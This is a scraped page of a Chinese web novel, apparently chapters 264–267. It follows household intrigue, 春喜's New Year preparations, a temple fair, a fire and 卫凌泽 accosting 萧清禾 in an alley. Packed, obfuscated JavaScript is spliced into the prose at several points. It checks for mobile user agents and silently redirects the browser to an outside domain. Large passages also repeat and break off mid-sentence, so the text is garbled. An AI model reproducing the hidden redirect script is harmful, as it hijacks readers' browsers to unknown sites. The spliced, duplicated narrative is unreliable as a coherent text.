“你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 第265章 狠起来连自己都不放过 从太傅府回来春喜就开始忙活过年的大小事宜。 今年铺子的收益不错加上春喜得的赏赐还有这次冬猎赢的钱差不多有近万两银子。 这是春喜第一次拥有这么多钱的使用权她并不小气给各家商铺的掌柜和庄子的掌柜每人额外发了一个半月的月钱佃户和府里的下人年前年后各有五日的假和半个月的月钱。 虎叔、豹叔、阿鲤还有府里护院要一直值守春喜给他们加了两个月的月钱青书还在青州守着曹文除了两个月的月钱春喜另外又拿了些银子让他给曹文置办些年货。 每个月青书都有传信回来远离家人去到青州后曹文的性子沉稳了很多每日都是最早去学堂最晚回家的。 因着口音不同又没有家人在身边学院也有学生想要欺负曹文但曹文不再一味地受欺负而是自己想到了办法解决。 最后一次学院测考曹文考到了第八相较之前进步非常大。 学院要放差不多一个月的假青书也问过曹文要不要回瀚京过年但曹文拒绝了。 当初离京春喜没有要求他一定要把书读出什么名堂来这段时间他自己想了很多决定学有所成再回京。 曹文最近的改变春喜是很欣慰的他自己选择留在青州春喜也没有强求。 该发的月钱发完春喜又开始拟定过年的礼单。 萧家对她帮助很多上上下下都是要准备礼物的恒阳公主更是不能少还有清远侯府虽说她不待见沈家人但身为长媳面子功夫总归是要做的 每个人的喜好不同准备的礼物自然也不一样春喜刚搜罗来两坛好酒准备过几日送去公主府恒阳公主就先一步来了府里。 见春喜安安静静地在伏案写字恒阳公主有些惊奇地凑过来看清春喜写的字后脸上一言难尽:“阿喜你这字……写得可真丑啊。” 虽然恒阳公主不爱念书但在宫里的时候也被逼着练了一手好字。 春喜并未受到打击坦然道:“公主以臣妇的出身臣妇能识字还能写出来已经很不错了。” “这倒也是”恒阳公主没有纠结这个话题拍拍春喜的肩膀转而道“虽然阿喜你的字写得很丑但你这驭夫术练得好啊相比之下本公主对驸马都太温柔了。” “……”??? 春喜放下笔一脸茫然地看着恒阳公主:“公主在说什么臣妇不太明白。” “行啦这里又没有外人 恒阳公主给了春喜一个你懂我懂的眼神见春喜更加茫然了这才意识到春喜是真的没有在演。 “你还真不知道啊”恒阳公主露出唏嘘之色不等春喜追问便道“你家老沈前几日在朝上参了自己一本大概意思是说你虽幼年丧父又无娘家撑腰却有一片赤诚之心在他最低谷的时候嫁给他如今你怀了孕他却没有管束好家人害你受了委屈实在是枉为七尺男儿。” “……” 春喜惊呆。 这些日子她忙着年终的事没怎么出门根本没有听说这件事沈清渊更是照常去上值然后回家没有表现出任何异样。 他怎么连自己都参? 春喜回过神来连忙问公主:“陛下生气了吗可有责罚他?” “往他身边塞人的是沈家人他又没有做错什么皇兄干什么要罚他”恒阳公主答得毫不犹豫随后又道“不过这件事也不是全然没有影响反正现在满朝文武都知道他惧内是个妻奴私底下可能会笑话他被你驯成了狗吧。” 春喜抿唇。 沈金花虽然硬把莹儿塞进府里但她又转送给了沈清迟这件事并没有给她造成任何影响她也没有生气她没想到沈清渊会这么郑重地把这件事捅到朝堂之上。 春喜不懂朝堂之事但也知道男子惧内在官场上并不是多好的名声。 春喜想得入神眉头不由得皱紧恒阳公主撞了撞她的胳膊:“你家老沈这么爱重你你怎么一点儿都不高兴反而还这副表情?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075453|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >春喜摇摇头如实道:“我没有不高兴我只是担心惧内的名声传出去别人会瞧不起他。” 恒阳公主翻了个大大的白眼:“阿喜你家老沈可是十七岁就中了状元的天纵奇才前不久又在冬猎大出风头如今在御前那可是红得发紫他一棍子能打死一头牛谁敢瞧不起他啊?” “……” 这样说来好像也对。 春喜没再纠结这个话题关心起恒阳公主最近的情况。 恒阳公主还是有些孕吐但没之前那 么厉害了,驸马想了各种法子帮她缓解,甚至每次起夜都要陪着她。 恒阳公主不大自在地说:“母后和皇嫂一直催着我要孩子,如今既然已经怀上了,生下来也行,正好明年母后要过大寿,送她个孩子玩玩,她一定很高兴,而且咱俩的孩子一样大,到时有更多的时间一起玩了。” 这话听着没什么母爱,但恒阳公主表情却有着自己都不易察觉的温柔,春喜没有戳穿她,只分享了几种压制孕吐,放松心情的法子。 两人没说多久的话,驸马就找了过来。 天气冷,驸马帮恒阳公主拿了披风和暖炉,还准备了酸酸甜甜的果干,恒阳公主嘴上念叨着驸马事多,但也还是拿上暖炉,任由驸马帮她系上披风,然后才跟着驸马离开。 两人走后,春喜处理完手头的事,一头扎进小厨房开始做饭。 傍晚,沈清渊才下值回来,他刚进大门,就见春喜提着灯笼走了过来。 冬天黑得早,廊下虽然已经点起了灯,但并不明亮,夜风凛冽,吹得春喜手里的灯笼轻轻晃动着。 沈清渊快步迎上,拉住春喜的手:“外面这么冷,怎么出来了,可是发生什么事了?” 春喜仰头,眼神亮晶晶地看着他:“没什么事我就不能来迎迎夫君吗?” 沈清渊抓着春喜的手紧了紧,片刻后道:“只要夫人喜欢,做什么都可以。” 第266章 庙会 腊八这日,春喜和沈清渊一起去了萧家。 沈清渊在前厅和萧父还有萧家的几位少爷说话,春喜则直奔萧老夫人的松鹤院。 松鹤院里,萧家各房的夫人小姐小少爷都聚到一起陪萧老夫人说话,见到春喜到来,众人皆是热情欢迎。 春喜给所有人都准备了礼物,一边认人一边发给大家。 她落落大方,说话也讨巧,准备的礼物也都能投其所好,一番交际下来,众人心里只剩下一个念头。 这曹春喜出身虽低,行事却八面玲珑,难怪老夫人这么喜欢她。 萧老夫人对春喜的表现也很满意,等春喜发完礼物,萧老夫人让众人都散了,只留下萧夫人和萧清禾、萧清月。 众人一走,春喜又拿出四条围脖来。 “之前冬猎夫君猎到两头狼,后来陛下把那两张狼皮赏了下来,我便拿来做成了围脖,还请舅母、表嫂还有二位侄女儿莫要嫌弃。” 狼皮不是什么稀罕物,春喜的女红也算不得多好,但围脖一拿出来,四人都很喜欢,当场就戴上了。 萧老夫人尤为高兴,她爱不释手地摸着围脖上面的**,眼底忍不住泛起泪光。 这是渊儿亲手猎来的狼皮,老头子若是能看见,不知会有多高兴。 萧夫人见状宽慰了萧老夫人几句,而后看向阿喜:“阿喜脖子上的围脖跟我们的是一样的吗,渊儿也有吗?” “当然有啊,这可是夫君亲手猎来的狼皮,少了谁也不能少了夫君的呀。” 春喜毫不犹豫地点头,萧夫人立刻夸赞:“你这孩子真是太有心了。” 萧老夫人心里更是感慨。 她和沈清渊虽然是亲生母子,却不能相认,这些年她想与沈清渊亲近,沈清渊却总是抗拒疏离的,如今有了阿喜,他们母子总算是有一样相同的东西了。 萧清月不知道背后的弯弯绕绕,她摸了摸围脖,口是心非地问:“别人的礼物都是独一份儿的,轮到我们怎么就都是一样的了?” “月儿不喜欢吗?那把围脖还给我,我再另外准备一份礼物送给你。” 春喜说着便要收回萧清月那条围脖,萧清月连忙护着:“已经送出去的礼物哪有收回去的道理,我……我就是随口这么一说,这围脖还……还挺暖和的。” 萧 清月怕春喜不依不饶,说完求助地看向萧清禾,萧清禾笑着开口:“谢谢小婶婶,我很喜欢这个礼物,今晚城里有庙会,咱们戴着这个一起出门,别人一看就知道咱们是一家人。 春喜弯眸,笑得明媚:“好啊。 中午大家一起吃饭,一上桌,围脖就引起了所有人的注意。 萧父忍不住凑到萧夫人耳边低声问:“夫人,我的呢? 萧夫人疑惑:“什么? “我那条围脖呢? 萧夫人动作一顿,反问:“渊儿没给夫君准备礼物吗? 萧父:“…… 礼物是有准备的,但你们都有围脖,我却没有,显得我很不合群啊。 萧清云和萧清阳也有些眼馋。 祖母、母亲还有两个妹妹都有围脖,沈叔叔和小婶婶也有,大家戴着都挺好看的,之前收到的礼物莫名就不那么合心意了。 吃过饭,休息了一会儿,春喜和萧清禾还有萧清月就准备出发去参加庙会,除了萧家的随从,萧清云和萧清阳也要一起。 坐上马车,春喜难掩高兴,沈清渊有些好奇:“这么喜欢逛庙会之前怎么不说? 若是早知道,他就早些带她来逛了。 春喜没有回答,反问:“夫君不喜欢吗? 不想扫春喜的兴,沈清渊立刻道:“喜欢。 只要她喜欢的,他都喜欢。 春喜知道沈清渊不是喜欢凑热闹的性子,她抓住沈清渊的手和他十指相扣:“我已经好多年没有逛过庙会了,小时候我爹可喜欢带我逛庙会了,那时我太矮,挤在人群里什么都看不到,只能闻到人家臭屁,我爹会把我举过头顶,让我骑在他的肩膀上。 “……我喜欢吃糖人,还喜欢看喷火和杂耍,我爹都会给我买,有一年我们逛庙会的时候,还有不长眼的想把我拐走,但** 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萧清月立刻关心,萧清禾摇摇头:“没事,走吧。” 一行人在春喜的带领下朝前走去。 不远处的巷子里,卫凌泽眼眸猩红,一眨不眨地盯着萧清禾。 数日不见,萧清禾并不像他这样憔悴,反而比在卫家时长胖了些,脸色也变得红润起来,整个人生机勃勃,美好极了。 她一出现,路过的行人都不自觉频频侧目。 卫凌泽咬紧后槽牙,有种想要挖掉这些人眼睛的冲动。 行舟被卫凌泽的眼神吓到,小心翼翼地问:“少爷现在要过去跟夫人说话吗?” 话音刚落,卫凌泽冷冷地看过来:“闲杂人等那么多,你让我现在怎么过去?” 行舟还想问怎么办,又听到卫凌泽说:“我不管你用什么办法,把人引开,我要单独跟禾儿说话。” “……是。” 第267章 起火 庙会人太多了往年萧清禾和萧清月只是找个茶楼看看热闹像今年这样走在人群中边吃边逛还是第一次。 春喜循着记忆给两人买了一些街边的吃食虽然食材并不名贵做得也不比府里的厨子精致但胜在新鲜大家都吃得很开心。 一路边吃边逛一行人很快走到套圈的地方。 萧清阳立刻自告奋勇:“小婶婶喜欢什么尽管说我们兄弟二人可以帮你拿。” “侄儿有心了不过这套圈最大的乐趣不在于赢多少东西而在于过程我还是自己来吧。” 春喜刚说完沈清渊就拿银子买了老板手里全部的圈春喜又分给萧清禾和萧清月:“来来来别客气今天你们沈叔叔请客想怎么玩儿就怎么玩儿。” 萧清禾和萧清月之前跟春喜一起练过骑射虽然技术不怎么好但有春喜陪着都愿意自己试试。 胜在数量够多三人都套到了自己想要的东西。 虽然只是些做工粗陋的花瓶、瓷偶萧清禾和萧清月却都爱不释手。 原来靠自己赢来这些东西是这种感觉啊和之前大哥二哥帮她们得到的体验完全不同。 萧清月忍不住抱怨:“大哥二哥怎么不早告诉我自己玩这么好玩啊害我之前都觉得庙会很没有意思。” 萧清阳抱胸翻了萧清月一个白眼:“你也就是嘴上过过瘾要是没有小婶婶陪着一起你敢自己玩儿吗?” 世家名门对女眷的仪态言行要求很严苛萧清月虽然受宠有些骄纵但若要她自己出门当着这么多人的面玩儿套圈对她来说还是有些太胆大妄为了。 而且万一套不中被人认出来也怪丢脸的。 萧清月噎了一下但她看看手里胖嘟嘟的瓷偶再看看春喜和萧清禾含笑的脸很快坚定道:“我以前是不敢但以后再有这样的事我都要自己来!” 套圈结束再往前走就是猜灯谜了。 明年开春就是三年一度的春闱不少学子已经提前赶到京里备考**在这里猜灯谜的年轻学子很多今天的花灯也格外漂亮。 春喜认真挑选了一番指着挂在最高处的一盏狐狸花灯对萧清禾说:“我不擅长猜谜但很想要那盏花灯 春喜刚说完萧清月便不服气道:“小婶婶怎么只问阿姐不问我?” “月儿愿意帮我?” 春喜一脸诧异并不是怀疑萧清月不会猜谜只是觉得她不会愿意帮忙。 萧清月顿 时后悔平时对春喜说话太不客气了,但又拉不下脸来解释,只能摸着围脖说:“你都送我围脖了,要我帮忙我自然不会拒绝。” 萧清月说完,仔仔细细地看起花灯上的谜语来。 这些谜语都是由低到高逐渐增加难度的,只要有人猜中,就能带走花灯。 萧清月刚猜中一个,就有人猜中了上面一层的灯谜。 见有人竞争,萧清月立刻紧张起来,她连忙去拽萧清禾的袖子:“阿姐,你快一起想啊,不然那盏花灯就要被别人赢走了。” 萧清禾当即又说出一个谜语的答案,然而没等萧清月高兴,对方又猜出了更高一层的谜底。 接连取下四盏花灯,距离春喜想要的狐狸花灯只剩下五盏了。 难度加强,加上紧张,萧清月想不到新的谜底是什么,额头都急出汗来。 萧清阳幽幽道:“妹妹还没想出来吗,可要二哥帮忙?” 萧清阳的语气带着戏谑,萧清月才刚说了要靠自己赢得奖品,哪好意思向他求助,她蹙眉瞪了萧清阳一眼,正想说话,便听到自家阿姐轻轻柔柔地说出两个谜底。 在摊主宣布正确后,萧清月顿时挺直了腰,有种莫名的爽感,她冲萧清阳挑眉道:“二哥可别瞧不起人,阿姐这些年读的书可不比二哥少。” 他们一行人本就衣着华贵,且容貌出众,光是站在这里就足以引人注目,加上萧清禾接连猜中好几个谜底,很快就成了人群的焦点,众人不免议论纷纷。 “这位娘子猜谜好生厉害,人也漂亮,只可惜她已是妇人打扮,不知是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不好了,着火了,快跑啊!” 有人奋力大吼着,人群顿时慌乱起来,萧清月和萧清阳离那两人很近,萧清阳拼命护着萧清月才没有让她被慌乱的人群撞倒,萧清云带着萧家的随从在救火稳定秩序。 沈清渊第一时间带着春喜去到安全的地方,混乱之中,萧清禾身边空无一人,卫凌泽恰在这时施展出现在萧清禾身边。 他搂住萧清禾的腰,抱着她掠过人群,来到远离人群的一条窄巷之中。 今晚有庙会,到处都是灯火通明的,然而这巷子又窄又深,光亮根本透不进来。 落地之后,卫凌泽并没有放开萧清禾,第一时间用力抱住了她。 “禾儿,你没事吧?” 卫凌泽的声音有些沙哑,满满的都是担心,他的胳膊不断收紧,像是害怕极了,恨不能把萧清禾嵌进自己的身体。 萧清禾的肩膀被勒得有点疼,蹙眉开口:“卫凌泽,你弄疼我了。” 卫凌泽立刻卸了力道,却还是保持着环抱的姿势,没有要放开萧清禾的意思,他急急解释:“对不起禾儿,我不是故意的,只是刚刚的情况看着太危急,我太担心了,所以才没有控制好力道,你也知道,我失忆了,这段时间你又不肯见我,我实在是不知道该怎么才好……” “小婶婶还有月儿还在危险之中,我要回去确认他们是否安全。” 萧清禾直接打断。 这种情况下,她不想跟卫凌泽在这儿掰扯感情的事。 萧清禾说完要推开卫凌泽,卫凌泽复又收紧力道:“那里太危险了,我不能放你过去,你放心,我留了随从在那儿,他们不会有事的。” 感受到他的强硬,萧清禾心底泛起恶心,她面上不显,试探着开口:“他们是我的血缘至亲,我可以不去涉险,你可以帮我去救救他们吗?” 这么多天好不容易才有机会跟萧清禾单独说话,卫凌泽当然不肯就这样放过,但他也不能强硬拒绝,只能柔声安慰:“我的人会去救他们的,这会儿外面肯定很乱,你一个人待在这里我不放心。” 卫凌泽的语气全然是在为萧清禾着想,萧清禾却只觉得漏洞百出。 她抬手给了卫凌泽一巴掌。 “你如果真的有心要救人,就会安排好人手,而不是在这里跟我说你分身乏术,只能照顾我一个人的安危。” 萧清禾心底发寒,用了全力,这一巴掌打得卫凌泽偏了头。 不等卫凌泽开口,萧清禾又道:“我原本以为你是因为受伤瘫痪才会 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 